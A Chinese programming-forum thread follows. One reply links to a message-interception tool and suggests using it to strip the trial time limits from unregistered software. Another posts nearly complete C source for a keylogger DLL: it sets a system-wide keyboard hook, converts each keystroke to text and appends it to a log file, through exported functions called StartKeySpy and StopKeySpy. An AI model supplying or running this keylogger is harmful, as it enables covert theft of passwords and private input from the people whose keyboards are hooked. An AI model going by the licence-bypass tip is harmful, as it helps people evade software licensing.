http://www.vckbase.com/sourcecode/system/index.html

解决方案 »

  1.   

    消息截获程序代码
    一个截获并过滤某个程序中的某个消息的程序源代码。比如通过过滤WM_TIMER消息来消除某些未注册程序的运行时间限制
    大小:24KB 
      

  2.   

    一个记录键盘输入的程序。
    你只要改改 KeyHook部分就可以了。 俺没时间了   :(#include "stdafx.h"
    #include "stdio.h"
    #include "malloc.h"const int KeyPressMask=0x80000000;typedef struct{
    int scancode;
    char str[5];
    }STRKEY;int NumCharList[]={')','!','@','#','$','%','^','&','*','('};int OtherList[][3]={  {186,';',':'},{187,'=','+'},{188,',','<'},
    {189,'-','_'},{190,'.','>'},{191,'/','?'},{192,'`','~'},
    {219,'[','{'},{220,'\\','|'},{221,']','}'},{222,'\'','\"'},
    };
    int NumberPad[]={'0','1','2','3','4','5','6','7','8','9','*','+', ' ','-','.','/'};STRKEY StrKey[] = { {27,"ESC"},{45,"INS"},{36,"HOME"}, {33,"PgUp"},
    {46,"DEL"},{35,"END"},{34,"PgDn"},{38,"UP"},{37,"LF"},
    {39,"RT"},{40,"DN"},{35,"END"},{18,"ALT"},{144,"NUM"},
    {145,"SCL"},{19,"PAU"},{17,"CTL"},{16,"SHF"},{20,"CAP"},
    {9,"TAB"},{8,"BK"}};
    HHOOK hNextHookProc;
    HINSTANCE hInstance;
    HWND hWnd;
    char result[10];
    WPARAM LastKeyCode;FILE *fp;BOOL APIENTRY DllMain( HANDLE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved)
    {
    hInstance=(HINSTANCE)hModule;
        return TRUE;
    }int Search(int s,int max,UINT whichstair = 1)
    {
    int i;
    for(i=0;i<max;i++)
    {
    if(OtherList[i][0]==s)
    return OtherList[i][whichstair];
    }
    return 0;
    }
    char *StrSearch(int s,int max)
    {
    int i;
    for(i=0;i<max;i++)
    {
    if(StrKey[i].scancode == s)
    return StrKey[i].str;
    }
    return "UNK";
    }HOOKPROC __stdcall KeyHook(int iCode,WPARAM wParam,LPARAM lParam )
    {
    if (iCode != HC_ACTION)
    return (HOOKPROC)CallNextHookEx(hNextHookProc,iCode,wParam,lParam); bool bShift=((GetKeyState(0x10) & KeyPressMask)==KeyPressMask);
    bool bCapital=((GetKeyState(0x14) & 1)==1);
    bool bNumLock=((GetKeyState(0x90) & 1)==1);
    bool WordSwap=! (bShift ^ bCapital);
    bool CharSwap=bShift;
    bool Visible = false;
    int c; char s[10];
    if(wParam >= 'A' && wParam <= 'Z')
    {
    //一般字母
    if(WordSwap){c = wParam + 32;}else{ c = wParam;}
    Visible = true;
    }
    else if(wParam >= '0' && wParam <= '9' )
    {
    // 数字键(不包括小键盘区)
    if(bShift){ c = NumCharList[wParam - '0']; }else{ c = wParam ; }
    Visible = true;
    }
    else if(wParam >= 96 && wParam <= 111)
    {
    //小键盘区
    c = NumberPad[wParam - 96];
    Visible = true;
    }
    else if ((wParam >= 186 && wParam <= 192) || (wParam >= 219 && wParam <= 222))
    {
    //标点符号
    if (bShift)
    c = Search(wParam,11,2);
    else
    c = Search(wParam,11,1);
    Visible = true;
    }
    else if(wParam >= 112 && wParam <= 123)
    {
    //F1 等功能键
    sprintf(s,"F%d",wParam - 111);
    Visible = false;
    }
    else if(wParam == 13)
    {
    //Enter特殊待遇  ^_^
    sprintf(s,"<ENTER>\r\n");
    Visible = false;
    }
    else if(wParam == 32)
    {
    //空格也是……
    sprintf(s,"<SPACE>");
    Visible = false;
    }
    else
    {
    //其他的如Ctrl,Alt,Up,Down等只有扫描码的键
    sprintf(s,"%s",StrSearch(wParam,21));
    Visible = false;
    } const long Maskc = 0xc0000000; LONG lTmp; if(Visible)
    sprintf(result,"%c",c);
    else
    if(wParam != 13){sprintf(result,"[<%s>]",s);} else{sprintf(result,"%s",s);} lTmp = lParam & Maskc;
    if(lTmp != Maskc)
    if(!((wParam == 17 || wParam == 16 || wParam == 18) && (wParam == LastKeyCode)))
    fprintf(fp,"%s",result); LastKeyCode = wParam;
    return (HOOKPROC)CallNextHookEx(hNextHookProc,iCode,wParam,lParam);
    }char * __stdcall GetStr()
    {
    return result;
    }
    int __stdcall StartKeySpy(LPCTSTR szFile)
    {
    if(!hNextHookProc)
    hNextHookProc=SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeyHook,hInstance,0); fp=fopen(szFile,"a");
    if(fp == NULL) return 0;
    return hNextHookProc!=0 ;           //  0 ----- Fail   1 ----- OK
    }int __stdcall StopKeySpy()
    {
    UnhookWindowsHookEx(hNextHookProc);
    hNextHookProc = NULL;
    fclose(fp);
    return true;
    }